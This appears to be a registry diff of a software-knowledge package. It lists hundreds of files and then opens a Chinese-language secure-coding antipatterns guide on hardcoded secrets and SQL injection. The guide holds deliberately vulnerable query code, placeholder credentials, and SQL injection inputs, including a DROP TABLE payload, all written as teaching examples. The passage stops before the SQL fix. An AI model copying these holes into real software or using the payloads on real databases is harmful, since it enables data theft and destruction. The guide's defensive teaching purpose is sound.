@umacloud/knowledge 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/00-governance/governance-capabilities.md +557 -0
- package/00-governance/knowledge-map.md +39 -0
- package/00-governance/maintenance-policy.md +76 -0
- package/00-governance/review-checklist.md +81 -0
- package/README.md +13 -0
- package/ai/01-standards/agent-development-complete.md +691 -0
- package/ai/01-standards/llm-application-complete.md +488 -0
- package/ai/01-standards/mlops-complete.md +798 -0
- package/ai/01-standards/prompt-engineering-complete.md +646 -0
- package/ai/01-standards/rag-architecture-complete.md +649 -0
- package/ai/02-playbooks/llm-evaluation-playbook.md +847 -0
- package/ai/03-checklists/ai-project-checklist.md +215 -0
- package/ai/04-antipatterns/ai-antipatterns.md +661 -0
- package/ai/05-cases/case-rag-production.md +147 -0
- package/ai/06-glossary/ai-glossary.md +162 -0
- package/ai/agent-evaluation-benchmark.md +53 -0
- package/ai/ai-agent-memory-context-management.md +41 -0
- package/ai/ai-cost-capacity-optimization-playbook.md +42 -0
- package/ai/ai-data-security-and-compliance-playbook.md +37 -0
- package/ai/ai-domain-index-and-checklist.md +40 -0
- package/ai/ai-governance-maturity-model.md +50 -0
- package/ai/ai-model-selection-and-routing-strategy.md +47 -0
- package/ai/ai-observability-and-oncall-runbook.md +52 -0
- package/ai/ai-rag-engineering-playbook.md +42 -0
- package/ai/ai-red-team-and-safety-evaluation.md +42 -0
- package/ai/ai-release-readiness-and-rollback-gate.md +42 -0
- package/ai/llm-agent-engineering-deep-dive.md +57 -0
- package/ai/prompt-and-tool-guardrails.md +52 -0
- package/api/01-standards/enterprise-api-standards.md +198 -0
- package/api/01-standards/rest-api-design-guide.md +63 -0
- package/api/02-playbooks/api-pagination-playbook.md +93 -0
- package/api/02-playbooks/graphql-production-playbook.md +176 -0
- package/api/03-checklists/api-review-checklist.md +55 -0
- package/api/04-antipatterns/api-antipatterns.md +112 -0
- package/architecture/01-standards/api-gateway-patterns.md +496 -0
- package/architecture/01-standards/cloud-native-patterns.md +644 -0
- package/architecture/01-standards/distributed-systems-patterns.md +591 -0
- package/architecture/01-standards/event-driven-architecture.md +595 -0
- package/architecture/01-standards/microservices-patterns-complete.md +968 -0
- package/architecture/01-standards/microservices-patterns.md +495 -0
- package/architecture/01-standards/system-design-interview.md +664 -0
- package/architecture/02-playbooks/microservices-patterns-playbook.md +137 -0
- package/architecture/02-playbooks/migration-playbook.md +780 -0
- package/architecture/02-playbooks/system-design-playbook.md +779 -0
- package/architecture/03-checklists/architecture-decision-checklist.md +297 -0
- package/architecture/04-antipatterns/architecture-antipatterns.md +417 -0
- package/architecture/05-cases/case-netflix-microservices.md +413 -0
- package/architecture/06-glossary/architecture-glossary.md +164 -0
- package/architecture/adr-template-and-examples.md +38 -0
- package/architecture/api-gateway-deep-dive.md +1291 -0
- package/architecture/configuration-management.md +1162 -0
- package/architecture/distributed-transactions.md +1220 -0
- package/architecture/microservices-complete.md +735 -0
- package/architecture/resilience-and-disaster-patterns.md +37 -0
- package/architecture/service-governance.md +1198 -0
- package/architecture/system-architecture-deep-dive.md +37 -0
- package/backend/01-standards/analytics-and-growth.md +65 -0
- package/backend/01-standards/api-and-error-conventions.md +120 -0
- package/backend/01-standards/application-layering-and-packaging.md +160 -0
- package/backend/01-standards/auth-implementation.md +104 -0
- package/backend/01-standards/backend-framework-idioms.md +74 -0
- package/backend/01-standards/background-jobs-and-async.md +66 -0
- package/backend/01-standards/caching-strategies-complete.md +390 -0
- package/backend/01-standards/config-and-observability.md +77 -0
- package/backend/01-standards/data-modeling-and-persistence.md +94 -0
- package/backend/01-standards/django-complete.md +1765 -0
- package/backend/01-standards/email-and-notifications.md +64 -0
- package/backend/01-standards/fastapi-complete.md +925 -0
- package/backend/01-standards/file-upload-and-storage.md +66 -0
- package/backend/01-standards/graphql-api-complete.md +416 -0
- package/backend/01-standards/llm-application-standard.md +78 -0
- package/backend/01-standards/message-queue-patterns.md +379 -0
- package/backend/01-standards/microservices-and-distributed.md +78 -0
- package/backend/01-standards/nestjs-complete.md +2167 -0
- package/backend/01-standards/payment-integration.md +80 -0
- package/backend/01-standards/rate-limiting-complete.md +451 -0
- package/backend/01-standards/realtime-and-websocket.md +65 -0
- package/backend/01-standards/search-and-filtering.md +64 -0
- package/backend/01-standards/spring-boot-complete.md +445 -0
- package/backend/02-playbooks/api-design-playbook.md +718 -0
- package/backend/02-playbooks/email-send-playbook.md +130 -0
- package/backend/02-playbooks/file-upload-s3-playbook.md +153 -0
- package/backend/02-playbooks/typescript-enterprise-playbook.md +133 -0
- package/backend/02-playbooks/websocket-realtime-playbook.md +154 -0
- package/backend/03-checklists/api-launch-checklist.md +189 -0
- package/backend/04-antipatterns/backend-antipatterns.md +1051 -0
- package/blockchain/01-standards/blockchain-basics.md +557 -0
- package/blockchain/01-standards/smart-contract-development.md +1315 -0
- package/cicd/01-standards/deployment-and-delivery-standard.md +96 -0
- package/cicd/01-standards/github-actions-complete.md +473 -0
- package/cicd/01-standards/release-and-store-submission.md +75 -0
- package/cicd/02-playbooks/cicd-pipeline-playbook.md +144 -0
- package/cicd/02-playbooks/release-management-playbook.md +605 -0
- package/cicd/03-checklists/pipeline-security-checklist.md +168 -0
- package/cicd/04-antipatterns/cicd-antipatterns.md +589 -0
- package/cicd/05-cases/case-deployment-automation.md +221 -0
- package/cicd/05-cases/case-gitops-transformation.md +212 -0
- package/cicd/06-glossary/cicd-glossary.md +114 -0
- package/cicd/cicd-blueprint-deep-dive.md +38 -0
- package/cicd/release-readiness-gate.md +37 -0
- package/cloud-native/01-standards/container-security.md +741 -0
- package/cloud-native/01-standards/kubernetes-complete.md +812 -0
- package/cloud-native/02-playbooks/api-gateway-playbook.md +155 -0
- package/cloud-native/02-playbooks/gitops-with-argocd.md +760 -0
- package/cloud-native/02-playbooks/k8s-troubleshooting-playbook.md +1942 -0
- package/cloud-native/02-playbooks/message-queue-playbook.md +129 -0
- package/cloud-native/02-playbooks/multicloud-governance.md +726 -0
- package/cloud-native/02-playbooks/serverless-patterns.md +788 -0
- package/cloud-native/02-playbooks/service-mesh-playbook.md +612 -0
- package/cloud-native/02-playbooks/terraform-iac-playbook.md +143 -0
- package/cloud-native/03-checklists/container-security-checklist.md +431 -0
- package/cloud-native/03-checklists/k8s-production-readiness-checklist.md +460 -0
- package/cloud-native/04-antipatterns/container-antipatterns.md +660 -0
- package/cloud-native/04-antipatterns/k8s-antipatterns.md +743 -0
- package/cloud-native/05-cases/case-k8s-migration.md +478 -0
- package/cloud-native/05-cases/case-k8s-scaling.md +642 -0
- package/cloud-native/05-cases/case-k8s-security-incident.md +397 -0
- package/cloud-native/06-glossary/cloud-native-glossary.md +337 -0
- package/cross-platform/01-standards/cross-platform-frameworks.md +83 -0
- package/cross-platform/01-standards/platform-selection-and-architecture.md +77 -0
- package/data/01-standards/elasticsearch-complete.md +2098 -0
- package/data/01-standards/postgresql-complete.md +1613 -0
- package/data/01-standards/redis-complete.md +1527 -0
- package/data/02-playbooks/database-optimization-playbook.md +403 -0
- package/data/02-playbooks/elasticsearch-production-playbook.md +132 -0
- package/data/03-checklists/database-launch-checklist.md +187 -0
- package/data/04-antipatterns/database-antipatterns.md +873 -0
- package/data/05-cases/case-database-migration.md +310 -0
- package/data/06-glossary/database-glossary.md +440 -0
- package/data/data-governance-and-modeling-deep-dive.md +39 -0
- package/data-engineering/01-standards/airflow-complete.md +523 -0
- package/data-engineering/01-standards/kafka-complete.md +1521 -0
- package/data-engineering/02-playbooks/spark-etl-playbook.md +496 -0
- package/data-engineering/03-checklists/pipeline-launch-checklist.md +194 -0
- package/data-engineering/04-antipatterns/data-pipeline-antipatterns.md +684 -0
- package/data-engineering/05-cases/case-real-time-pipeline.md +355 -0
- package/data-engineering/06-glossary/data-engineering-glossary.md +429 -0
- package/database/01-standards/database-schema-standards.md +147 -0
- package/database/02-playbooks/postgresql-optimization-quick.md +52 -0
- package/database/02-playbooks/postgresql-performance-optimization.md +58 -0
- package/database/02-playbooks/postgresql-production-playbook.md +146 -0
- package/database/02-playbooks/redis-caching-playbook.md +117 -0
- package/database/03-checklists/database-review-checklist.md +50 -0
- package/database/04-antipatterns/database-antipatterns.md +112 -0
- package/design/01-standards/ui-design-system-complete.md +423 -0
- package/design/02-playbooks/design-handoff-playbook.md +254 -0
- package/design/02-playbooks/design-review-playbook.md +388 -0
- package/design/03-checklists/design-review-checklist.md +246 -0
- package/design/04-antipatterns/design-antipatterns.md +378 -0
- package/design/05-cases/case-design-system-adoption.md +328 -0
- package/design/06-glossary/design-glossary.md +329 -0
- package/design/ui-full-lifecycle-cross-platform-playbook.md +571 -0
- package/design/ux-system-deep-dive.md +38 -0
- package/design-systems/00-craft-rules.md +71 -0
- package/design-systems/aesthetic-families.md +43 -0
- package/design-systems/anti-ai-slop.md +162 -0
- package/design-systems/bold-geometric.md +120 -0
- package/design-systems/brutalist-bold.md +103 -0
- package/design-systems/editorial-clean.md +109 -0
- package/design-systems/glass-aurora.md +108 -0
- package/design-systems/modern-minimal.md +145 -0
- package/design-systems/premium-luxury.md +106 -0
- package/design-systems/product-type-design-map.md +48 -0
- package/design-systems/soft-warm.md +123 -0
- package/design-systems/tech-utility.md +113 -0
- package/desktop/01-standards/desktop-app-standard.md +72 -0
- package/desktop/01-standards/desktop-design.md +71 -0
- package/development/00-governance/document-template.md +41 -0
- package/development/01-standards/api-versioning-strategies.md +432 -0
- package/development/01-standards/authentication-patterns-complete.md +479 -0
- package/development/01-standards/css-architecture-complete.md +550 -0
- package/development/01-standards/database-migration-strategies.md +484 -0
- package/development/01-standards/elasticsearch-complete.md +347 -0
- package/development/01-standards/git-complete.md +371 -0
- package/development/01-standards/golang-complete.md +1565 -0
- package/development/01-standards/graphql-complete.md +298 -0
- package/development/01-standards/javascript-bundlers-complete.md +469 -0
- package/development/01-standards/javascript-typescript-complete.md +528 -0
- package/development/01-standards/jest-complete.md +275 -0
- package/development/01-standards/linux-complete.md +234 -0
- package/development/01-standards/logging-observability-complete.md +526 -0
- package/development/01-standards/microservices-communication.md +502 -0
- package/development/01-standards/mongodb-complete.md +406 -0
- package/development/01-standards/oauth2-complete.md +285 -0
- package/development/01-standards/performance-optimization-complete.md +289 -0
- package/development/01-standards/playwright-complete.md +247 -0
- package/development/01-standards/postgresql-complete.md +456 -0
- package/development/01-standards/pytest-complete.md +340 -0
- package/development/01-standards/python-async-programming.md +902 -0
- package/development/01-standards/python-complete.md +956 -0
- package/development/01-standards/python-decorators-complete.md +799 -0
- package/development/01-standards/python-design-patterns.md +2854 -0
- package/development/01-standards/python-packaging-distribution.md +420 -0
- package/development/01-standards/python-testing-strategies.md +607 -0
- package/development/01-standards/python-web-frameworks-comparison.md +471 -0
- package/development/01-standards/redis-complete.md +317 -0
- package/development/01-standards/rest-api-complete.md +316 -0
- package/development/01-standards/rust-complete.md +578 -0
- package/development/01-standards/typescript-advanced-types.md +1513 -0
- package/development/01-standards/web-security-complete.md +292 -0
- package/development/02-playbooks/api-design-playbook.md +810 -0
- package/development/02-playbooks/database-migration-playbook.md +580 -0
- package/development/02-playbooks/debugging-playbook.md +692 -0
- package/development/02-playbooks/feature-delivery-playbook.md +430 -0
- package/development/02-playbooks/incident-hotfix-playbook.md +387 -0
- package/development/02-playbooks/performance-optimization-playbook.md +531 -0
- package/development/02-playbooks/performance-tuning-playbook.md +652 -0
- package/development/02-playbooks/refactor-playbook.md +403 -0
- package/development/02-playbooks/release-playbook.md +469 -0
- package/development/03-checklists/architecture-review-checklist.md +168 -0
- package/development/03-checklists/data-migration-checklist.md +157 -0
- package/development/03-checklists/oncall-handover-checklist.md +173 -0
- package/development/03-checklists/pr-checklist.md +158 -0
- package/development/03-checklists/production-readiness-checklist.md +190 -0
- package/development/03-checklists/release-readiness-checklist.md +154 -0
- package/development/03-checklists/security-review-checklist.md +182 -0
- package/development/04-antipatterns/api-antipatterns.md +657 -0
- package/development/04-antipatterns/architecture-antipatterns.md +686 -0
- package/development/04-antipatterns/backend-antipatterns.md +648 -0
- package/development/04-antipatterns/cicd-antipatterns.md +540 -0
- package/development/04-antipatterns/code-smell-antipatterns.md +571 -0
- package/development/04-antipatterns/data-antipatterns.md +658 -0
- package/development/04-antipatterns/database-antipatterns.md +578 -0
- package/development/04-antipatterns/frontend-antipatterns.md +635 -0
- package/development/04-antipatterns/reliability-antipatterns.md +700 -0
- package/development/04-antipatterns/security-antipatterns.md +747 -0
- package/development/05-cases/case-api-version-migration.md +428 -0
- package/development/05-cases/case-authorization-hardening.md +383 -0
- package/development/05-cases/case-bluegreen-rollback.md +466 -0
- package/development/05-cases/case-cache-snowball-protection.md +485 -0
- package/development/05-cases/case-ci-cd-pipeline.md +544 -0
- package/development/05-cases/case-database-scaling.md +500 -0
- package/development/05-cases/case-db-hotspot-optimization.md +487 -0
- package/development/05-cases/case-incident-mttr-reduction.md +563 -0
- package/development/05-cases/case-microservice-migration.md +375 -0
- package/development/05-cases/case-performance-optimization.md +406 -0
- package/development/05-cases/case-security-incident-response.md +345 -0
- package/development/06-glossary/full-stack-glossary.md +166 -0
- package/development/09-maturity/quarterly-audit-template.md +35 -0
- package/development/11-ui-excellence/ui-aesthetic-system.md +41 -0
- package/development/11-ui-excellence/ui-engineering-excellence.md +435 -0
- package/development/12-scenarios/development-scenarios-guide.md +565 -0
- package/development/13-implementation-assets/implementation-toolkit.md +282 -0
- package/development/13-implementation-assets/knowledge-gates-execution.md +43 -0
- package/development/14-full-lifecycle/software-lifecycle-gates.md +511 -0
- package/development/15-lifecycle-templates/project-templates-collection.md +791 -0
- package/development/api-contract-and-versioning-guide.md +36 -0
- package/development/api-governance-complete.md +43 -0
- package/development/backend-engineering-complete.md +43 -0
- package/development/code-review-quality-complete.md +43 -0
- package/development/concurrency-reliability-complete.md +43 -0
- package/development/database-engineering-complete.md +43 -0
- package/development/engineering-effectiveness-complete.md +43 -0
- package/development/engineering-standards-deep-dive.md +38 -0
- package/development/frontend-engineering-complete.md +43 -0
- package/development/performance-capacity-complete.md +43 -0
- package/development/refactor-migration-complete.md +42 -0
- package/development/refactoring-and-techdebt-playbook.md +37 -0
- package/development/security-in-development-complete.md +43 -0
- package/devops/01-standards/cicd-pipeline-complete.md +262 -0
- package/devops/01-standards/docker-complete.md +1490 -0
- package/devops/01-standards/github-actions-complete.md +337 -0
- package/devops/01-standards/kubernetes-complete.md +638 -0
- package/devops/01-standards/terraform-complete.md +2117 -0
- package/devops/02-playbooks/docker-compose-playbook.md +233 -0
- package/devops/02-playbooks/docker-k8s-production-playbook.md +186 -0
- package/devops/02-playbooks/docker-production-playbook.md +952 -0
- package/edge-iot/01-standards/edge-iot-complete.md +473 -0
- package/experts/architect/api-design.md +178 -0
- package/experts/architect/methodology.md +124 -0
- package/experts/architect/security.md +75 -0
- package/experts/backend-lead/methodology.md +216 -0
- package/experts/devops/methodology.md +160 -0
- package/experts/frontend-lead/methodology.md +178 -0
- package/experts/product-manager/industry/ecommerce.md +43 -0
- package/experts/product-manager/industry/saas.md +40 -0
- package/experts/product-manager/methodology.md +97 -0
- package/experts/qa-lead/methodology.md +123 -0
- package/experts/qa-lead/test-strategy.md +128 -0
- package/experts/uiux-designer/methodology.md +125 -0
- package/frontend/01-standards/accessibility-complete.md +532 -0
- package/frontend/01-standards/accessibility-standard.md +74 -0
- package/frontend/01-standards/admin-dashboard-and-crud.md +72 -0
- package/frontend/01-standards/design-tokens-complete.md +444 -0
- package/frontend/01-standards/forms-and-validation.md +77 -0
- package/frontend/01-standards/frontend-architecture-and-layering.md +119 -0
- package/frontend/01-standards/i18n-and-localization.md +65 -0
- package/frontend/01-standards/nextjs-complete.md +451 -0
- package/frontend/01-standards/react-complete.md +713 -0
- package/frontend/01-standards/react-hooks-complete-guide.md +1100 -0
- package/frontend/01-standards/react-hooks-complete.md +1171 -0
- package/frontend/01-standards/seo-and-web-vitals.md +77 -0
- package/frontend/01-standards/state-management-complete.md +444 -0
- package/frontend/01-standards/vue-complete.md +499 -0
- package/frontend/01-standards/vue3-complete.md +2002 -0
- package/frontend/01-standards/web-framework-best-practices.md +64 -0
- package/frontend/01-standards/web-performance-complete.md +495 -0
- package/frontend/02-playbooks/accessibility-a11y-playbook.md +161 -0
- package/frontend/02-playbooks/frontend-performance-playbook.md +707 -0
- package/frontend/02-playbooks/i18n-internationalization-playbook.md +120 -0
- package/frontend/02-playbooks/performance-optimization-playbook.md +163 -0
- package/frontend/02-playbooks/react-nextjs-production-playbook.md +167 -0
- package/frontend/02-playbooks/react-state-management-playbook.md +173 -0
- package/frontend/03-checklists/component-quality-checklist.md +166 -0
- package/frontend/03-checklists/frontend-launch-checklist.md +299 -0
- package/frontend/04-antipatterns/frontend-antipatterns.md +886 -0
- package/frontend/05-cases/case-performance-optimization.md +274 -0
- package/harmony/01-standards/harmonyos-arkts-standard.md +75 -0
- package/harmony/01-standards/harmonyos-design.md +65 -0
- package/high-quality-engineering-playbook.md +54 -0
- package/incident/01-standards/incident-response-complete.md +303 -0
- package/incident/02-playbooks/chaos-engineering-playbook.md +883 -0
- package/incident/02-playbooks/postmortem-playbook.md +398 -0
- package/incident/03-checklists/incident-readiness-checklist.md +181 -0
- package/incident/04-antipatterns/incident-antipatterns.md +490 -0
- package/incident/05-cases/case-cascade-failure.md +176 -0
- package/incident/06-glossary/incident-glossary.md +114 -0
- package/incident/postmortem-and-response-deep-dive.md +39 -0
- package/industries/ecommerce/ecommerce-complete.md +631 -0
- package/industries/education/education-complete.md +555 -0
- package/industries/fintech/fintech-complete.md +501 -0
- package/industries/gaming/gaming-complete.md +587 -0
- package/industries/healthcare/healthcare-complete.md +452 -0
- package/low-code/01-standards/low-code-complete.md +944 -0
- package/miniprogram/01-standards/ai-common-mistakes.md +61 -0
- package/miniprogram/01-standards/miniprogram-custom-navbar-capsule.md +77 -0
- package/miniprogram/01-standards/miniprogram-design.md +61 -0
- package/miniprogram/01-standards/miniprogram-standard.md +81 -0
- package/mobile/01-standards/android-material-design.md +70 -0
- package/mobile/01-standards/flutter-complete.md +384 -0
- package/mobile/01-standards/ios-design-hig.md +78 -0
- package/mobile/01-standards/mobile-app-standard.md +85 -0
- package/mobile/01-standards/react-native-complete.md +352 -0
- package/mobile/02-playbooks/mobile-cross-platform-playbook.md +175 -0
- package/mobile/02-playbooks/mobile-performance.md +473 -0
- package/mobile/03-checklists/mobile-release-checklist.md +234 -0
- package/mobile/04-antipatterns/mobile-antipatterns.md +798 -0
- package/mobile/05-cases/case-app-performance.md +500 -0
- package/mobile/05-cases/case-app-startup-optimization.md +218 -0
- package/mobile/06-glossary/mobile-glossary.md +484 -0
- package/observability/01-standards/observability-standards.md +103 -0
- package/observability/02-playbooks/prometheus-grafana-playbook.md +135 -0
- package/observability/02-playbooks/structured-logging-playbook.md +73 -0
- package/observability/03-checklists/observability-checklist.md +54 -0
- package/observability/04-antipatterns/observability-antipatterns.md +106 -0
- package/operations/01-standards/prometheus-monitoring-complete.md +1578 -0
- package/operations/02-playbooks/capacity-planning-playbook.md +620 -0
- package/operations/03-checklists/production-launch-checklist.md +365 -0
- package/operations/04-antipatterns/operations-antipatterns.md +664 -0
- package/operations/05-cases/case-sre-practices.md +581 -0
- package/operations/06-glossary/operations-glossary.md +120 -0
- package/operations/aiops-anomaly-detection.md +758 -0
- package/operations/capacity-planning.md +1061 -0
- package/operations/chaos-engineering.md +659 -0
- package/operations/incident-command-system.md +38 -0
- package/operations/observability-complete.md +442 -0
- package/operations/slo-sli-playbook.md +517 -0
- package/operations/sre-operations-deep-dive.md +39 -0
- package/package.json +8 -0
- package/performance/01-standards/performance-and-scalability.md +80 -0
- package/performance/01-standards/performance-standards.md +156 -0
- package/performance/02-playbooks/query-optimization-playbook.md +103 -0
- package/performance/03-checklists/performance-checklist.md +56 -0
- package/performance/04-antipatterns/performance-antipatterns.md +146 -0
- package/product/01-standards/product-management-complete.md +285 -0
- package/product/02-playbooks/feature-launch-playbook.md +207 -0
- package/product/02-playbooks/user-research-playbook.md +532 -0
- package/product/03-checklists/feature-launch-checklist.md +275 -0
- package/product/04-antipatterns/product-antipatterns.md +355 -0
- package/product/05-cases/case-mvp-to-scale.md +384 -0
- package/product/06-glossary/product-glossary.md +462 -0
- package/product/feature-prioritization-framework.md +40 -0
- package/product/kpi-and-metric-tree.md +37 -0
- package/product/product-discovery-and-prd-deep-dive.md +41 -0
- package/quantum/01-standards/quantum-complete.md +1186 -0
- package/security/01-standards/api-security-complete.md +511 -0
- package/security/01-standards/container-runtime-security.md +574 -0
- package/security/01-standards/data-protection-gdpr.md +543 -0
- package/security/01-standards/owasp-top10-complete.md +1890 -0
- package/security/01-standards/secure-coding-baseline.md +90 -0
- package/security/01-standards/supply-chain-security.md +441 -0
- package/security/01-standards/web-security-checklist.md +108 -0
- package/security/01-standards/zero-trust-architecture.md +521 -0
- package/security/02-playbooks/auth-sso-playbook.md +166 -0
- package/security/02-playbooks/incident-response-security-playbook.md +588 -0
- package/security/02-playbooks/owasp-api-security-playbook.md +129 -0
- package/security/02-playbooks/payment-integration-playbook.md +119 -0
- package/security/02-playbooks/penetration-testing-playbook.md +517 -0
- package/security/03-checklists/security-audit-checklist.md +356 -0
- package/security/04-antipatterns/security-coding-antipatterns.md +580 -0
- package/security/05-cases/case-log4shell-incident.md +537 -0
- package/security/05-cases/case-major-breaches.md +468 -0
- package/security/06-glossary/security-glossary.md +212 -0
- package/security/compliance-automation.md +993 -0
- package/security/container-security.md +680 -0
- package/security/devsecops-complete.md +426 -0
- package/security/sast-dast-sca.md +775 -0
- package/security/secrets-management.md +594 -0
- package/security/security-architecture-deep-dive.md +37 -0
- package/security/threat-modeling-stride-playbook.md +40 -0
- package/seed-templates/auth-system.md +59 -0
- package/seed-templates/blog-content.md +94 -0
- package/seed-templates/dashboard.md +89 -0
- package/seed-templates/docs-site.md +73 -0
- package/seed-templates/e-commerce.md +50 -0
- package/seed-templates/saas-landing.md +92 -0
- package/seed-templates/settings-page.md +51 -0
- package/testing/01-standards/test-strategy-and-layering.md +83 -0
- package/testing/01-standards/testing-strategy-complete.md +422 -0
- package/testing/01-standards/unit-testing-best-practices.md +118 -0
- package/testing/02-playbooks/e2e-testing-playbook.md +988 -0
- package/testing/02-playbooks/testing-strategy-playbook.md +126 -0
- package/testing/03-checklists/test-strategy-checklist.md +208 -0
- package/testing/04-antipatterns/testing-antipatterns.md +718 -0
- package/testing/05-cases/case-testing-transformation.md +300 -0
- package/testing/06-glossary/testing-glossary.md +110 -0
- package/testing/risk-based-test-matrix.md +36 -0
- package/testing/testing-strategy-deep-dive.md +37 -0
|
@@ -0,0 +1,747 @@
|
|
|
1
|
+
---
|
|
2
|
+
id: security-antipatterns
|
|
3
|
+
title: 安全反模式指南
|
|
4
|
+
domain: development
|
|
5
|
+
category: 04-antipatterns
|
|
6
|
+
difficulty: intermediate
|
|
7
|
+
tags: [antipatterns, concatenation, csrf, development, injection, password, protection, secrets]
|
|
8
|
+
quality_score: 70
|
|
9
|
+
last_updated: 2026-06-15
|
|
10
|
+
---
|
|
11
|
+
# 安全反模式指南
|
|
12
|
+
|
|
13
|
+
> 适用范围:Web 应用 / API 服务 / 后端系统
|
|
14
|
+
> 约束级别:SHALL(安全反模式为零容忍项,必须在代码合入前修复)
|
|
15
|
+
|
|
16
|
+
---
|
|
17
|
+
|
|
18
|
+
## 1. 硬编码密钥(Hardcoded Secrets)
|
|
19
|
+
|
|
20
|
+
### 描述
|
|
21
|
+
将数据库密码、API Key、JWT Secret、加密密钥等敏感信息直接写在源码、配置文件或 Docker 镜像中。一旦代码推送到版本控制系统或镜像仓库,密钥即永久泄露(即使后续删除,git 历史仍保留)。
|
|
22
|
+
|
|
23
|
+
### 错误示例
|
|
24
|
+
```python
|
|
25
|
+
# 源码中硬编码密钥
|
|
26
|
+
DATABASE_URL = "postgresql://admin:P@ssw0rd123@db.prod.internal:5432/myapp"
|
|
27
|
+
JWT_SECRET = "my-super-secret-key-2024"
|
|
28
|
+
AWS_ACCESS_KEY = "AKIAIOSFODNN7EXAMPLE"
|
|
29
|
+
AWS_SECRET_KEY = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
|
|
30
|
+
STRIPE_SECRET_KEY = "sk_live_51abc123def456..."
|
|
31
|
+
|
|
32
|
+
# 配置文件中硬编码(即使是 .env.example)
|
|
33
|
+
# .env
|
|
34
|
+
DB_PASSWORD=production_password_123
|
|
35
|
+
REDIS_PASSWORD=redis_secret_456
|
|
36
|
+
|
|
37
|
+
# Dockerfile 中硬编码
|
|
38
|
+
ENV DATABASE_PASSWORD=secret123
|
|
39
|
+
```
|
|
40
|
+
|
|
41
|
+
### 正确示例
|
|
42
|
+
```python
|
|
43
|
+
import os
|
|
44
|
+
from pydantic_settings import BaseSettings
|
|
45
|
+
|
|
46
|
+
class Settings(BaseSettings):
|
|
47
|
+
"""从环境变量或 .env 文件加载配置,绝不硬编码。"""
|
|
48
|
+
|
|
49
|
+
database_url: str
|
|
50
|
+
jwt_secret: str
|
|
51
|
+
aws_access_key: str
|
|
52
|
+
aws_secret_key: str
|
|
53
|
+
stripe_secret_key: str
|
|
54
|
+
|
|
55
|
+
model_config = {"env_file": ".env", "env_file_encoding": "utf-8"}
|
|
56
|
+
|
|
57
|
+
settings = Settings()
|
|
58
|
+
|
|
59
|
+
# .env 文件加入 .gitignore,绝不提交到版本控制
|
|
60
|
+
# .gitignore
|
|
61
|
+
# .env
|
|
62
|
+
# .env.local
|
|
63
|
+
# .env.production
|
|
64
|
+
```
|
|
65
|
+
|
|
66
|
+
```python
|
|
67
|
+
# 使用密钥管理服务(生产环境推荐)
|
|
68
|
+
import boto3
|
|
69
|
+
|
|
70
|
+
def get_secret(secret_name: str) -> str:
|
|
71
|
+
client = boto3.client("secretsmanager", region_name="ap-east-1")
|
|
72
|
+
response = client.get_secret_value(SecretId=secret_name)
|
|
73
|
+
return response["SecretString"]
|
|
74
|
+
|
|
75
|
+
# Kubernetes Secrets
|
|
76
|
+
# deployment.yaml
|
|
77
|
+
# env:
|
|
78
|
+
# - name: DATABASE_URL
|
|
79
|
+
# valueFrom:
|
|
80
|
+
# secretKeyRef:
|
|
81
|
+
# name: app-secrets
|
|
82
|
+
# key: database-url
|
|
83
|
+
```
|
|
84
|
+
|
|
85
|
+
```yaml
|
|
86
|
+
# .env.example -- 只包含占位符,安全地提交到 git
|
|
87
|
+
DATABASE_URL=postgresql://user:password@host:5432/dbname
|
|
88
|
+
JWT_SECRET=your-secret-here
|
|
89
|
+
AWS_ACCESS_KEY=your-access-key
|
|
90
|
+
```
|
|
91
|
+
|
|
92
|
+
### 检测方法
|
|
93
|
+
- `gitleaks` / `trufflehog` 扫描 git 历史中的密钥。
|
|
94
|
+
- `bandit` (Python) 的 `B105`、`B106`、`B107` 规则检测硬编码密码。
|
|
95
|
+
- `semgrep` 的 `secrets` 规则集。
|
|
96
|
+
- CI 中配置 pre-commit hook 阻止密钥提交。
|
|
97
|
+
- 搜索代码中的 `password=`、`secret=`、`key=` 后跟字符串字面量。
|
|
98
|
+
|
|
99
|
+
### 修复步骤
|
|
100
|
+
1. 使用 `gitleaks` 扫描全量 git 历史,列出所有泄露的密钥。
|
|
101
|
+
2. 立即轮换所有已泄露的密钥(轮换优先于清理历史)。
|
|
102
|
+
3. 将密钥迁移到环境变量或密钥管理服务。
|
|
103
|
+
4. 将 `.env` 加入 `.gitignore`,提供 `.env.example` 模板。
|
|
104
|
+
5. 在 CI 中配置 `gitleaks` 和 pre-commit hook,阻止新的密钥泄露。
|
|
105
|
+
6. 如需清理 git 历史,使用 `git filter-repo` 或 `BFG Repo-Cleaner`。
|
|
106
|
+
|
|
107
|
+
### Agent Checklist
|
|
108
|
+
- [ ] 源码中零硬编码密钥
|
|
109
|
+
- [ ] `.env` 在 `.gitignore` 中
|
|
110
|
+
- [ ] CI 包含 `gitleaks` / `trufflehog` 扫描
|
|
111
|
+
- [ ] 生产环境使用密钥管理服务
|
|
112
|
+
- [ ] pre-commit hook 阻止密钥提交
|
|
113
|
+
- [ ] 已泄露的密钥已全部轮换
|
|
114
|
+
|
|
115
|
+
---
|
|
116
|
+
|
|
117
|
+
## 2. SQL 拼接注入(SQL Injection via String Concatenation)
|
|
118
|
+
|
|
119
|
+
### 描述
|
|
120
|
+
通过字符串拼接或 f-string 构造 SQL 语句,将用户输入直接嵌入 SQL 中。攻击者可以通过构造恶意输入执行任意 SQL 命令,导致数据泄露、数据篡改、甚至获取服务器权限。
|
|
121
|
+
|
|
122
|
+
### 错误示例
|
|
123
|
+
```python
|
|
124
|
+
# 字符串拼接 -- 经典 SQL 注入
|
|
125
|
+
def get_user(username):
|
|
126
|
+
query = "SELECT * FROM users WHERE username = '" + username + "'"
|
|
127
|
+
return db.execute(query)
|
|
128
|
+
# 输入: ' OR '1'='1' --
|
|
129
|
+
# 结果: SELECT * FROM users WHERE username = '' OR '1'='1' --'
|
|
130
|
+
|
|
131
|
+
# f-string -- 同样危险
|
|
132
|
+
def search_products(keyword):
|
|
133
|
+
query = f"SELECT * FROM products WHERE name LIKE '%{keyword}%'"
|
|
134
|
+
return db.execute(query)
|
|
135
|
+
# 输入: %'; DROP TABLE products; --
|
|
136
|
+
# 结果: SELECT * FROM products WHERE name LIKE '%%'; DROP TABLE products; --%'
|
|
137
|
+
|
|
138
|
+
# format -- 同样危险
|
|
139
|
+
def get_orders(user_id, status):
|
|
140
|
+
query = "SELECT * FROM orders WHERE user_id = {} AND status = '{}'".format(user_id, status)
|
|
141
|
+
return db.execute(query)
|
|
142
|
+
```
|
|
143
|
+
|
|
144
|
+
### 正确示例
|
|
145
|
